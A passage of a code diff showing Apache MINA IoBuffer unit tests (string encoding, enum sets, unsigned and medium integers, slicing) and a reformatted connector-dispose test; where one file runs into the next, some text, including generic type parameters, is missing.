buf.position()); + buf.clear(); + assertEquals('D', buf.get(0)); + assertEquals(0, buf.get(1)); + + buf.putString("EFG", 2, encoder); + assertEquals(2, buf.position()); + buf.clear(); + assertEquals('E', buf.get(0)); + assertEquals('F', buf.get(1)); + assertEquals('C', buf.get(2)); // C may not be overwritten + + // UTF-16: We specify byte order to omit BOM. + encoder = Charset.forName("UTF-16BE").newEncoder(); + buf.clear(); + + buf.putString("ABC", encoder); + assertEquals(6, buf.position()); + buf.clear(); + + assertEquals(0, buf.get(0)); + assertEquals('A', buf.get(1)); + assertEquals(0, buf.get(2)); + assertEquals('B', buf.get(3)); + assertEquals(0, buf.get(4)); + assertEquals('C', buf.get(5)); + + buf.putString("D", 10, encoder); + assertEquals(10, buf.position()); + buf.clear(); + assertEquals(0, buf.get(0)); + assertEquals('D', buf.get(1)); + assertEquals(0, buf.get(2)); + assertEquals(0, buf.get(3)); + + buf.putString("EFG", 4, encoder); + assertEquals(4, buf.position()); + buf.clear(); + assertEquals(0, buf.get(0)); + assertEquals('E', buf.get(1)); + assertEquals(0, buf.get(2)); + assertEquals('F', buf.get(3)); + assertEquals(0, buf.get(4)); // C may not be overwritten + assertEquals('C', buf.get(5)); // C may not be overwritten + + // Test putting an emptry string + buf.putString("", encoder); + assertEquals(0, buf.position()); + buf.putString("", 4, encoder); + assertEquals(4, buf.position()); + assertEquals(0, buf.get(0)); + assertEquals(0, buf.get(1)); + } + + @Test + public void testGetPrefixedString() throws Exception { + IoBuffer buf = IoBuffer.allocate(16); + CharsetEncoder encoder; + CharsetDecoder decoder; + encoder = Charset.forName("ISO-8859-1").newEncoder(); + decoder = Charset.forName("ISO-8859-1").newDecoder(); + + buf.putShort((short) 3); + buf.putString("ABCD", encoder); + buf.clear(); + assertEquals("ABC", buf.getPrefixedString(decoder)); + } + + @Test + public void testPutPrefixedString() throws Exception { + CharsetEncoder encoder; + IoBuffer buf = IoBuffer.allocate(16); + buf.fillAndReset(buf.remaining()); + encoder = Charset.forName("ISO-8859-1").newEncoder(); + + // Without autoExpand + buf.putPrefixedString("ABC", encoder); + assertEquals(5, buf.position()); + assertEquals(0, buf.get(0)); + assertEquals(3, buf.get(1)); + assertEquals('A', buf.get(2)); + assertEquals('B', buf.get(3)); + assertEquals('C', buf.get(4)); + + buf.clear(); + try { + buf.putPrefixedString("123456789012345", encoder); + fail(); + } catch (BufferOverflowException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + + // With autoExpand + buf.clear(); + buf.setAutoExpand(true); + buf.putPrefixedString("123456789012345", encoder); + assertEquals(17, buf.position()); + assertEquals(0, buf.get(0)); + assertEquals(15, buf.get(1)); + assertEquals('1', buf.get(2)); + assertEquals('2', buf.get(3)); + assertEquals('3', buf.get(4)); + assertEquals('4', buf.get(5)); + assertEquals('5', buf.get(6)); + assertEquals('6', buf.get(7)); + assertEquals('7', buf.get(8)); + assertEquals('8', buf.get(9)); + assertEquals('9', buf.get(10)); + assertEquals('0', buf.get(11)); + assertEquals('1', buf.get(12)); + assertEquals('2', buf.get(13)); + assertEquals('3', buf.get(14)); + assertEquals('4', buf.get(15)); + assertEquals('5', buf.get(16)); + } + + @Test + public void testPutPrefixedStringWithPrefixLength() throws Exception { + CharsetEncoder encoder = Charset.forName("ISO-8859-1").newEncoder(); + IoBuffer buf = IoBuffer.allocate(16).sweep().setAutoExpand(true); + + buf.putPrefixedString("A", 1, encoder); + assertEquals(2, buf.position()); + assertEquals(1, buf.get(0)); + assertEquals('A', buf.get(1)); + + buf.sweep(); + buf.putPrefixedString("A", 2, encoder); + assertEquals(3, buf.position()); + assertEquals(0, buf.get(0)); + assertEquals(1, buf.get(1)); + assertEquals('A', buf.get(2)); + + buf.sweep(); + buf.putPrefixedString("A", 4, encoder); + assertEquals(5, buf.position()); + assertEquals(0, buf.get(0)); + assertEquals(0, buf.get(1)); + assertEquals(0, buf.get(2)); + assertEquals(1, buf.get(3)); + assertEquals('A', buf.get(4)); + } + + @Test + public void testPutPrefixedStringWithPadding() throws Exception { + CharsetEncoder encoder = Charset.forName("ISO-8859-1").newEncoder(); + IoBuffer buf = IoBuffer.allocate(16).sweep().setAutoExpand(true); + + buf.putPrefixedString("A", 1, 2, (byte) 32, encoder); + assertEquals(3, buf.position()); + assertEquals(2, buf.get(0)); + assertEquals('A', buf.get(1)); + assertEquals(' ', buf.get(2)); + + buf.sweep(); + buf.putPrefixedString("A", 1, 4, (byte) 32, encoder); + assertEquals(5, buf.position()); + assertEquals(4, buf.get(0)); + assertEquals('A', buf.get(1)); + assertEquals(' ', buf.get(2)); + assertEquals(' ', buf.get(3)); + assertEquals(' ', buf.get(4)); + } + + @Test + public void testWideUtf8Characters() throws Exception { + Runnable r = new Runnable() { + public void run() { + IoBuffer buffer = IoBuffer.allocate(1); + buffer.setAutoExpand(true); + + Charset charset = StandardCharsets.UTF_8; + + CharsetEncoder encoder = charset.newEncoder(); + + for (int i = 0; i < 5; i++) { + try { + buffer.putString("\u89d2", encoder); + buffer.putPrefixedString("\u89d2", encoder); + } catch (CharacterCodingException e) { + fail(e.getMessage()); + } + } + } + }; + + Thread t = new Thread(r); + t.setDaemon(true); + t.start(); + + for (int i = 0; i < 50; i++) { + Thread.sleep(100); + if (!t.isAlive()) { + break; + } + } + + if (t.isAlive()) { + t.interrupt(); + + fail("Went into endless loop trying to encode character"); + } + } + + @Test + public void testInheritedObjectSerialization() throws Exception { + IoBuffer buf = IoBuffer.allocate(16); + buf.setAutoExpand(true); + + Bar expected = new Bar(); + expected.setFooValue(0x12345678); + expected.setBarValue(0x90ABCDEF); + + // Test writing an object. + buf.putObject(expected); + + // We must accept all the classes, including the parents. + buf.accept(Bar.class.getName()); + buf.accept(Foo.class.getName()); + + // Test reading an object. + buf.clear(); + Bar actual = (Bar) buf.getObject(); + assertSame(Bar.class, actual.getClass()); + assertEquals(expected.getFooValue(), actual.getFooValue()); + assertEquals(expected.getBarValue(), actual.getBarValue()); + + // This assertion is just to make sure that deserialization occurred. + assertNotSame(expected, actual); + } + + @Test + public void testSweepWithZeros() throws Exception { + IoBuffer buf = IoBuffer.allocate(4); + buf.putInt(0xdeadbeef); + buf.clear(); + assertEquals(0xdeadbeef, buf.getInt()); + assertEquals(4, buf.position()); + assertEquals(4, buf.limit()); + + buf.sweep(); + assertEquals(0, buf.position()); + assertEquals(4, buf.limit()); + assertEquals(0x0, buf.getInt()); + } + + @Test + public void testSweepNonZeros() throws Exception { + IoBuffer buf = IoBuffer.allocate(4); + buf.putInt(0xdeadbeef); + buf.clear(); + assertEquals(0xdeadbeef, buf.getInt()); + assertEquals(4, buf.position()); + assertEquals(4, buf.limit()); + + buf.sweep((byte) 0x45); + assertEquals(0, buf.position()); + assertEquals(4, buf.limit()); + assertEquals(0x45454545, buf.getInt()); + } + + @Test + public void testWrapNioBuffer() throws Exception { + ByteBuffer nioBuf = ByteBuffer.allocate(10); + nioBuf.position(3); + nioBuf.limit(7); + + IoBuffer buf = IoBuffer.wrap(nioBuf); + assertEquals(3, buf.position()); + assertEquals(7, buf.limit()); + assertEquals(10, buf.capacity()); + } + + @Test + public void testWrapSubArray() throws Exception { + byte[] array = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + + IoBuffer buf = IoBuffer.wrap(array, 3, 4); + assertEquals(3, buf.position()); + assertEquals(7, buf.limit()); + assertEquals(10, buf.capacity()); + + buf.clear(); + assertEquals(0, buf.position()); + assertEquals(10, buf.limit()); + assertEquals(10, buf.capacity()); + } + + @Test + public void testDuplicate() throws Exception { + IoBuffer original; + IoBuffer duplicate; + + // Test if the buffer is duplicated correctly. + original = IoBuffer.allocate(16).sweep(); + original.position(4); + original.limit(10); + duplicate = original.duplicate(); + original.put(4, (byte) 127); + assertEquals(4, duplicate.position()); + assertEquals(10, duplicate.limit()); + assertEquals(16, duplicate.capacity()); + assertNotSame(original.buf(), duplicate.buf()); + assertSame(original.buf().array(), duplicate.buf().array()); + assertEquals(127, duplicate.get(4)); + + // Test a duplicate of a duplicate. + original = IoBuffer.allocate(16); + duplicate = original.duplicate().duplicate(); + assertNotSame(original.buf(), duplicate.buf()); + assertSame(original.buf().array(), duplicate.buf().array()); + + // Try to expand. + original = IoBuffer.allocate(16); + original.setAutoExpand(true); + duplicate = original.duplicate(); + assertFalse(original.isAutoExpand()); + + try { + original.setAutoExpand(true); + fail("Derived buffers and their parent can't be expanded"); + } catch (IllegalStateException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + + try { + duplicate.setAutoExpand(true); + fail("Derived buffers and their parent can't be expanded"); + } catch (IllegalStateException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + } + + @Test + public void testSlice() throws Exception { + IoBuffer original; + IoBuffer slice; + + // Test if the buffer is sliced correctly. + original = IoBuffer.allocate(16).sweep(); + original.position(4); + original.limit(10); + slice = original.slice(); + original.put(4, (byte) 127); + assertEquals(0, slice.position()); + assertEquals(6, slice.limit()); + assertEquals(6, slice.capacity()); + assertNotSame(original.buf(), slice.buf()); + assertEquals(127, slice.get(0)); + } + + @Test + public void testReadOnlyBuffer() throws Exception { + IoBuffer original; + IoBuffer duplicate; + + // Test if the buffer is duplicated correctly. + original = IoBuffer.allocate(16).sweep(); + original.position(4); + original.limit(10); + duplicate = original.asReadOnlyBuffer(); + original.put(4, (byte) 127); + assertEquals(4, duplicate.position()); + assertEquals(10, duplicate.limit()); + assertEquals(16, duplicate.capacity()); + assertNotSame(original.buf(), duplicate.buf()); + assertEquals(127, duplicate.get(4)); + + // Try to expand. + try { + original = IoBuffer.allocate(16); + duplicate = original.asReadOnlyBuffer(); + duplicate.putString("A very very very very looooooong string", Charset.forName("ISO-8859-1").newEncoder()); + fail("ReadOnly buffer's can't be expanded"); + } catch (ReadOnlyBufferException e) { + // In Java 8 or 11, it expects an Exception, signifies test success + assertTrue(true); + } catch (CoderMalfunctionError cme) { + // In Java 17, it expects an Error, signifies test success + assertTrue(true); + } + } + + @Test + public void testGetUnsigned() throws Exception { + IoBuffer buf = IoBuffer.allocate(16); + buf.put((byte) 0xA4); + buf.put((byte) 0xD0); + buf.put((byte) 0xB3); + buf.put((byte) 0xCD); + buf.flip(); + + buf.order(ByteOrder.LITTLE_ENDIAN); + + buf.mark(); + assertEquals(0xA4, buf.getUnsigned()); + buf.reset(); + assertEquals(0xD0A4, buf.getUnsignedShort()); + buf.reset(); + assertEquals(0xCDB3D0A4L, buf.getUnsignedInt()); + } + + @Test + public void testIndexOf() throws Exception { + boolean direct = false; + for (int i = 0; i < 2; i++, direct = !direct) { + IoBuffer buf = IoBuffer.allocate(16, direct); + buf.put((byte) 0x1); + buf.put((byte) 0x2); + buf.put((byte) 0x3); + buf.put((byte) 0x4); + buf.put((byte) 0x1); + buf.put((byte) 0x2); + buf.put((byte) 0x3); + buf.put((byte) 0x4); + buf.position(2); + buf.limit(5); + + assertEquals(4, buf.indexOf((byte) 0x1)); + assertEquals(-1, buf.indexOf((byte) 0x2)); + assertEquals(2, buf.indexOf((byte) 0x3)); + assertEquals(3, buf.indexOf((byte) 0x4)); + } + } + + // We need an enum with 64 values + private static enum TestEnum { + E1, E2, E3, E4, E5, E6, E7, E8, E9, E10, E11, E12, E13, E14, E15, E16, E17, E18, E19, E20, E21, E22, E23, E24, E25, E26, E27, E28, E29, E30, E31, E32, E33, E34, E35, E36, E37, E38, E39, E40, E41, E42, E43, E44, E45, E46, E77, E48, E49, E50, E51, E52, E53, E54, E55, E56, E57, E58, E59, E60, E61, E62, E63, E64 + } + + private static enum TooBigEnum { + E1, E2, E3, E4, E5, E6, E7, E8, E9, E10, E11, E12, E13, E14, E15, E16, E17, E18, E19, E20, E21, E22, E23, E24, E25, E26, E27, E28, E29, E30, E31, E32, E33, E34, E35, E36, E37, E38, E39, E40, E41, E42, E43, E44, E45, E46, E77, E48, E49, E50, E51, E52, E53, E54, E55, E56, E57, E58, E59, E60, E61, E62, E63, E64, E65 + } + + @Test + public void testPutEnumSet() { + IoBuffer buf = IoBuffer.allocate(8); + + // Test empty set + buf.putEnumSet(EnumSet.noneOf(TestEnum.class)); + buf.flip(); + assertEquals(0, buf.get()); + + buf.clear(); + buf.putEnumSetShort(EnumSet.noneOf(TestEnum.class)); + buf.flip(); + assertEquals(0, buf.getShort()); + + buf.clear(); + buf.putEnumSetInt(EnumSet.noneOf(TestEnum.class)); + buf.flip(); + assertEquals(0, buf.getInt()); + + buf.clear(); + buf.putEnumSetLong(EnumSet.noneOf(TestEnum.class)); + buf.flip(); + assertEquals(0, buf.getLong()); + + // Test complete set + buf.clear(); + buf.putEnumSet(EnumSet.range(TestEnum.E1, TestEnum.E8)); + buf.flip(); + assertEquals((byte) -1, buf.get()); + + buf.clear(); + buf.putEnumSetShort(EnumSet.range(TestEnum.E1, TestEnum.E16)); + buf.flip(); + assertEquals((short) -1, buf.getShort()); + + buf.clear(); + buf.putEnumSetInt(EnumSet.range(TestEnum.E1, TestEnum.E32)); + buf.flip(); + assertEquals(-1, buf.getInt()); + + buf.clear(); + buf.putEnumSetLong(EnumSet.allOf(TestEnum.class)); + buf.flip(); + assertEquals(-1L, buf.getLong()); + + // Test high bit set + buf.clear(); + buf.putEnumSet(EnumSet.of(TestEnum.E8)); + buf.flip(); + assertEquals(Byte.MIN_VALUE, buf.get()); + + buf.clear(); + buf.putEnumSetShort(EnumSet.of(TestEnum.E16)); + buf.flip(); + assertEquals(Short.MIN_VALUE, buf.getShort()); + + buf.clear(); + buf.putEnumSetInt(EnumSet.of(TestEnum.E32)); + buf.flip(); + assertEquals(Integer.MIN_VALUE, buf.getInt()); + + buf.clear(); + buf.putEnumSetLong(EnumSet.of(TestEnum.E64)); + buf.flip(); + assertEquals(Long.MIN_VALUE, buf.getLong()); + + // Test high low bits set + buf.clear(); + buf.putEnumSet(EnumSet.of(TestEnum.E1, TestEnum.E8)); + buf.flip(); + assertEquals(Byte.MIN_VALUE + 1, buf.get()); + + buf.clear(); + buf.putEnumSetShort(EnumSet.of(TestEnum.E1, TestEnum.E16)); + buf.flip(); + assertEquals(Short.MIN_VALUE + 1, buf.getShort()); + + buf.clear(); + buf.putEnumSetInt(EnumSet.of(TestEnum.E1, TestEnum.E32)); + buf.flip(); + assertEquals(Integer.MIN_VALUE + 1, buf.getInt()); + + buf.clear(); + buf.putEnumSetLong(EnumSet.of(TestEnum.E1, TestEnum.E64)); + buf.flip(); + assertEquals(Long.MIN_VALUE + 1, buf.getLong()); + } + + @Test + public void testGetEnumSet() { + IoBuffer buf = IoBuffer.allocate(8); + + // Test empty set + buf.put((byte) 0); + buf.flip(); + assertEquals(EnumSet.noneOf(TestEnum.class), buf.getEnumSet(TestEnum.class)); + + buf.clear(); + buf.putShort((short) 0); + buf.flip(); + assertEquals(EnumSet.noneOf(TestEnum.class), buf.getEnumSet(TestEnum.class)); + + buf.clear(); + buf.putInt(0); + buf.flip(); + assertEquals(EnumSet.noneOf(TestEnum.class), buf.getEnumSet(TestEnum.class)); + + buf.clear(); + buf.putLong(0L); + buf.flip(); + assertEquals(EnumSet.noneOf(TestEnum.class), buf.getEnumSet(TestEnum.class)); + + // Test complete set + buf.clear(); + buf.put((byte) -1); + buf.flip(); + assertEquals(EnumSet.range(TestEnum.E1, TestEnum.E8), buf.getEnumSet(TestEnum.class)); + + buf.clear(); + buf.putShort((short) -1); + buf.flip(); + assertEquals(EnumSet.range(TestEnum.E1, TestEnum.E16), buf.getEnumSetShort(TestEnum.class)); + + buf.clear(); + buf.putInt(-1); + buf.flip(); + assertEquals(EnumSet.range(TestEnum.E1, TestEnum.E32), buf.getEnumSetInt(TestEnum.class)); + + buf.clear(); + buf.putLong(-1L); + buf.flip(); + assertEquals(EnumSet.allOf(TestEnum.class), buf.getEnumSetLong(TestEnum.class)); + + // Test high bit set + buf.clear(); + buf.put(Byte.MIN_VALUE); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E8), buf.getEnumSet(TestEnum.class)); + + buf.clear(); + buf.putShort(Short.MIN_VALUE); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E16), buf.getEnumSetShort(TestEnum.class)); + + buf.clear(); + buf.putInt(Integer.MIN_VALUE); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E32), buf.getEnumSetInt(TestEnum.class)); + + buf.clear(); + buf.putLong(Long.MIN_VALUE); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E64), buf.getEnumSetLong(TestEnum.class)); + + // Test high low bits set + buf.clear(); + byte b = Byte.MIN_VALUE + 1; + buf.put(b); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E8), buf.getEnumSet(TestEnum.class)); + + buf.clear(); + short s = Short.MIN_VALUE + 1; + buf.putShort(s); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E16), buf.getEnumSetShort(TestEnum.class)); + + buf.clear(); + buf.putInt(Integer.MIN_VALUE + 1); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E32), buf.getEnumSetInt(TestEnum.class)); + + buf.clear(); + buf.putLong(Long.MIN_VALUE + 1); + buf.flip(); + assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E64), buf.getEnumSetLong(TestEnum.class)); + } + + @Test + public void testBitVectorOverFlow() { + IoBuffer buf = IoBuffer.allocate(8); + try { + buf.putEnumSet(EnumSet.of(TestEnum.E9)); + fail("Should have thrown IllegalArgumentException"); + } catch (IllegalArgumentException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + + try { + buf.putEnumSetShort(EnumSet.of(TestEnum.E17)); + fail("Should have thrown IllegalArgumentException"); + } catch (IllegalArgumentException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + + try { + buf.putEnumSetInt(EnumSet.of(TestEnum.E33)); + fail("Should have thrown IllegalArgumentException"); + } catch (IllegalArgumentException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + + try { + buf.putEnumSetLong(EnumSet.of(TooBigEnum.E65)); + fail("Should have thrown IllegalArgumentException"); + } catch (IllegalArgumentException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + } + + @Test + public void testGetPutEnum() { + IoBuffer buf = IoBuffer.allocate(4); + + buf.putEnum(TestEnum.E64); + buf.flip(); + assertEquals(TestEnum.E64, buf.getEnum(TestEnum.class)); + + buf.clear(); + buf.putEnumShort(TestEnum.E64); + buf.flip(); + assertEquals(TestEnum.E64, buf.getEnumShort(TestEnum.class)); + + buf.clear(); + buf.putEnumInt(TestEnum.E64); + buf.flip(); + assertEquals(TestEnum.E64, buf.getEnumInt(TestEnum.class)); + } + + @Test + public void testGetMediumInt() { + IoBuffer buf = IoBuffer.allocate(3); + + buf.put((byte) 0x01); + buf.put((byte) 0x02); + buf.put((byte) 0x03); + assertEquals(3, buf.position()); + + buf.flip(); + assertEquals(0x010203, buf.getMediumInt()); + assertEquals(0x010203, buf.getMediumInt(0)); + buf.flip(); + assertEquals(0x010203, buf.getUnsignedMediumInt()); + assertEquals(0x010203, buf.getUnsignedMediumInt(0)); + buf.flip(); + assertEquals(0x010203, buf.getUnsignedMediumInt()); + buf.flip().order(ByteOrder.LITTLE_ENDIAN); + assertEquals(0x030201, buf.getMediumInt()); + assertEquals(0x030201, buf.getMediumInt(0)); + + // Test max medium int + buf.flip().order(ByteOrder.BIG_ENDIAN); + buf.put((byte) 0x7f); + buf.put((byte) 0xff); + buf.put((byte) 0xff); + buf.flip(); + assertEquals(0x7fffff, buf.getMediumInt()); + assertEquals(0x7fffff, buf.getMediumInt(0)); + + // Test negative number + buf.flip().order(ByteOrder.BIG_ENDIAN); + buf.put((byte) 0xff); + buf.put((byte) 0x02); + buf.put((byte) 0x03); + buf.flip(); + + assertEquals(0xffff0203, buf.getMediumInt()); + assertEquals(0xffff0203, buf.getMediumInt(0)); + buf.flip(); + + assertEquals(0x00ff0203, buf.getUnsignedMediumInt()); + assertEquals(0x00ff0203, buf.getUnsignedMediumInt(0)); + } + + @Test + public void testPutMediumInt() { + IoBuffer buf = IoBuffer.allocate(3); + + checkMediumInt(buf, 0); + checkMediumInt(buf, 1); + checkMediumInt(buf, -1); + checkMediumInt(buf, 0x7fffff); + } + + private void checkMediumInt(IoBuffer buf, int x) { + buf.putMediumInt(x); + assertEquals(3, buf.position()); + buf.flip(); + assertEquals(x, buf.getMediumInt()); + assertEquals(3, buf.position()); + + buf.putMediumInt(0, x); + assertEquals(3, buf.position()); + assertEquals(x, buf.getMediumInt(0)); + + buf.flip(); + } + + @Test + public void testPutUnsigned() { + IoBuffer buf = IoBuffer.allocate(4); + byte b = (byte) 0x80; // We should get 0x0080 + short s = (short) 0x8F81; // We should get 0x0081 + int i = 0x8FFFFF82; // We should get 0x0082 + long l = 0x8FFFFFFFFFFFFF83L; // We should get 0x0083 + + buf.mark(); + + // Put the unsigned bytes + buf.putUnsigned(b); + buf.putUnsigned(s); + buf.putUnsigned(i); + buf.putUnsigned(l); + + buf.reset(); + + // Read back the unsigned bytes + assertEquals(0x0080, buf.getUnsigned()); + assertEquals(0x0081, buf.getUnsigned()); + assertEquals(0x0082, buf.getUnsigned()); + assertEquals(0x0083, buf.getUnsigned()); + } + + @Test + public void testPutUnsignedIndex() { + IoBuffer buf = IoBuffer.allocate(4); + byte b = (byte) 0x80; // We should get 0x0080 + short s = (short) 0x8F81; // We should get 0x0081 + int i = 0x8FFFFF82; // We should get 0x0082 + long l = 0x8FFFFFFFFFFFFF83L; // We should get 0x0083 + + buf.mark(); + + // Put the unsigned bytes + buf.putUnsigned(3, b); + buf.putUnsigned(2, s); + buf.putUnsigned(1, i); + buf.putUnsigned(0, l); + + buf.reset(); + + // Read back the unsigned bytes + assertEquals(0x0083, buf.getUnsigned()); + assertEquals(0x0082, buf.getUnsigned()); + assertEquals(0x0081, buf.getUnsigned()); + assertEquals(0x0080, buf.getUnsigned()); + } + + @Test + public void testPutUnsignedShort() { + IoBuffer buf = IoBuffer.allocate(8); + byte b = (byte) 0x80; // We should get 0x0080 + short s = (short) 0x8181; // We should get 0x8181 + int i = 0x82828282; // We should get 0x8282 + long l = 0x8383838383838383L; // We should get 0x8383 + + buf.mark(); + + // Put the unsigned bytes + buf.putUnsignedShort(b); + buf.putUnsignedShort(s); + buf.putUnsignedShort(i); + buf.putUnsignedShort(l); + + buf.reset(); + + // Read back the unsigned bytes + assertEquals(0x0080L, buf.getUnsignedShort()); + assertEquals(0x8181L, buf.getUnsignedShort()); + assertEquals(0x8282L, buf.getUnsignedShort()); + assertEquals(0x8383L, buf.getUnsignedShort()); + } + + @Test + public void testPutUnsignedShortIndex() { + IoBuffer buf = IoBuffer.allocate(8); + byte b = (byte) 0x80; // We should get 0x00000080 + short s = (short) 0x8181; // We should get 0x00008181 + int i = 0x82828282; // We should get 0x82828282 + long l = 0x8383838383838383L; // We should get 0x83838383 + + buf.mark(); + + // Put the unsigned shorts + buf.putUnsignedShort(6, b); + buf.putUnsignedShort(4, s); + buf.putUnsignedShort(2, i); + buf.putUnsignedShort(0, l); + + buf.reset(); + + // Read back the unsigned bytes + assertEquals(0x8383L, buf.getUnsignedShort()); + assertEquals(0x8282L, buf.getUnsignedShort()); + assertEquals(0x8181L, buf.getUnsignedShort()); + assertEquals(0x0080L, buf.getUnsignedShort()); + } + + @Test + public void testPutUnsignedInt() { + IoBuffer buf = IoBuffer.allocate(16); + byte b = (byte) 0x80; // We should get 0x00000080 + short s = (short) 0x8181; // We should get 0x00008181 + int i = 0x82828282; // We should get 0x82828282 + long l = 0x8383838383838383L; // We should get 0x83838383 + + buf.mark(); + + // Put the unsigned bytes + buf.putUnsignedInt(b); + buf.putUnsignedInt(s); + buf.putUnsignedInt(i); + buf.putUnsignedInt(l); + + buf.reset(); + + // Read back the unsigned bytes + assertEquals(0x0000000000000080L, buf.getUnsignedInt()); + assertEquals(0x0000000000008181L, buf.getUnsignedInt()); + assertEquals(0x0000000082828282L, buf.getUnsignedInt()); + assertEquals(0x0000000083838383L, buf.getUnsignedInt()); + } + + /** + * Test the IoBuffer.putUnsignedInIndex() method. + */ + @Test + public void testPutUnsignedIntIndex() { + IoBuffer buf = IoBuffer.allocate(16); + byte b = (byte) 0x80; // We should get 0x00000080 + short s = (short) 0x8181; // We should get 0x00008181 + int i = 0x82828282; // We should get 0x82828282 + long l = 0x8383838383838383L; // We should get 0x83838383 + + buf.mark(); + + // Put the unsigned bytes + buf.putUnsignedInt(12, b); + buf.putUnsignedInt(8, s); + buf.putUnsignedInt(4, i); + buf.putUnsignedInt(0, l); + + buf.reset(); + + // Read back the unsigned bytes + assertEquals(0x0000000083838383L, buf.getUnsignedInt()); + assertEquals(0x0000000082828282L, buf.getUnsignedInt()); + assertEquals(0x0000000000008181L, buf.getUnsignedInt()); + assertEquals(0x0000000000000080L, buf.getUnsignedInt()); + } + + /** + * Test the getSlice method (even if we haven't flipped the buffer) + */ + @Test + public void testGetSlice() { + IoBuffer buf = IoBuffer.allocate(36); + + for (byte i = 0; i < 36; i++) { + buf.put(i); + } + + IoBuffer res = buf.getSlice(1, 3); + + // The limit should be 3, the pos should be 0 and the bytes read + // should be 0x01, 0x02 and 0x03 + assertEquals(0, res.position()); + assertEquals(3, res.limit()); + assertEquals(0x01, res.get()); + assertEquals(0x02, res.get()); + assertEquals(0x03, res.get()); + + // Now test after a flip + buf.flip(); + + res = buf.getSlice(1, 3); + // The limit should be 3, the pos should be 0 and the bytes read + // should be 0x01, 0x02 and 0x03 + assertEquals(0, res.position()); + assertEquals(3, res.limit()); + assertEquals(0x01, res.get()); + assertEquals(0x02, res.get()); + assertEquals(0x03, res.get()); + } + + /** + * Test the IoBuffer.shrink() method. + */ + @Test + public void testShrink() { + IoBuffer buf = IoBuffer.allocate(36); + buf.put( "012345".getBytes()); + buf.flip(); + buf.position(4); + buf.minimumCapacity(8); + + IoBuffer newBuf = buf.shrink(); + assertEquals(4, newBuf.position()); + assertEquals(6, newBuf.limit()); + assertEquals(9, newBuf.capacity()); + assertEquals(8, newBuf.minimumCapacity()); + + buf = IoBuffer.allocate(6); + buf.put( "012345".getBytes()); + buf.flip(); + buf.position(4); + + newBuf = buf.shrink(); + assertEquals(4, newBuf.position()); + assertEquals(6, newBuf.limit()); + assertEquals(6, newBuf.capacity()); + assertEquals(6, newBuf.minimumCapacity()); + } + + + /** + * Test the IoBuffer.position(newPosition) method. + */ + @Test + public void testSetPosition() + { + + } + + + @Test + public void testFillByteSize() + { + int length = 1024*1020; + IoBuffer buffer = IoBuffer.allocate(length); + buffer.fill((byte)0x80, length); + + buffer.flip(); + for (int i=0; i threadsBefore = getThreadNames(); - final IoAcceptor acceptor = new NioSocketAcceptor(); + final IoAcceptor acceptor = new NioSocketAcceptor(); - acceptor.getFilterChain().addLast( "logger", new LoggingFilter() ); - acceptor.getFilterChain().addLast( "codec", new ProtocolCodecFilter( new TextLineCodecFactory( Charset.forName( "UTF-8" )))); + acceptor.getFilterChain().addLast("logger", new LoggingFilter()); + acceptor.getFilterChain().addLast("codec", + new ProtocolCodecFilter(new TextLineCodecFactory(StandardCharsets.UTF_8))); - acceptor.setHandler( new ServerHandler() ); + acceptor.setHandler(new ServerHandler()); - acceptor.getSessionConfig().setReadBufferSize( 2048 ); - acceptor.getSessionConfig().setIdleTime( IdleStatus.BOTH_IDLE, 10 ); - acceptor.bind( new InetSocketAddress(PORT) ); - System.out.println("Server running ..."); + acceptor.getSessionConfig().setReadBufferSize(2048); + acceptor.getSessionConfig().setIdleTime(IdleStatus.BOTH_IDLE, 10); + acceptor.bind(new InetSocketAddress(PORT)); + System.out.println("Server running ..."); - final NioSocketConnector connector = new NioSocketConnector(); + final NioSocketConnector connector = new NioSocketConnector(); - // Set connect timeout. - connector.setConnectTimeoutMillis(30 * 1000L); + // Set connect timeout. + connector.setConnectTimeoutMillis(30 * 1000L); - connector.setHandler(new ClientHandler()); - connector.getFilterChain().addLast( "logger", new LoggingFilter() ); - connector.getFilterChain().addLast( "codec", new ProtocolCodecFilter( new TextLineCodecFactory( Charset.forName( "UTF-8" )))); + connector.setHandler(new ClientHandler()); + connector.getFilterChain().addLast("logger", new LoggingFilter()); + connector.getFilterChain().addLast("codec", + new ProtocolCodecFilter(new TextLineCodecFactory(StandardCharsets.UTF_8))); - // Start communication. - ConnectFuture cf = connector.connect(new InetSocketAddress("localhost", 9123)); - cf.awaitUninterruptibly(); + // Start communication. + ConnectFuture cf = connector.connect(new InetSocketAddress("localhost", 9123)); + cf.awaitUninterruptibly(); - IoSession session = cf.getSession(); + IoSession session = cf.getSession(); - // send a message - session.write("Hello World!\r"); + // send a message + session.write("Hello World!\r"); - // wait until response is received - CountDownLatch latch = (CountDownLatch) session.getAttribute("latch"); - latch.await(); + // wait until response is received + CountDownLatch latch = (CountDownLatch) session.getAttribute("latch"); + latch.await(); - // close the session - CloseFuture closeFuture = session.close(false); + // close the session + CloseFuture closeFuture = session.closeOnFlush(); - System.out.println("session.close called"); - //Thread.sleep(5); + System.out.println("session.close called"); + //Thread.sleep(5); - // wait for session close and then dispose the connector - closeFuture.addListener(new IoFutureListener() { + // wait for session close and then dispose the connector + closeFuture.addListener(new IoFutureListener() { - public void operationComplete(IoFuture future) { - System.out.println("managed session count=" + connector.getManagedSessionCount()); - System.out.println("Disposing connector ..."); - connector.dispose(true); - System.out.println("Disposing connector ... *finished*"); + public void operationComplete(IoFuture future) { + System.out.println("managed session count=" + connector.getManagedSessionCount()); + System.out.println("Disposing connector ..."); + connector.dispose(true); + System.out.println("Disposing connector ... *finished*"); - } - }); + } + }); - closeFuture.awaitUninterruptibly(); - acceptor.dispose(true); + closeFuture.awaitUninterruptibly(); + acceptor.dispose(true); - List threadsAfter = getThreadNames(); + List threadsAfter = getThreadNames(); - 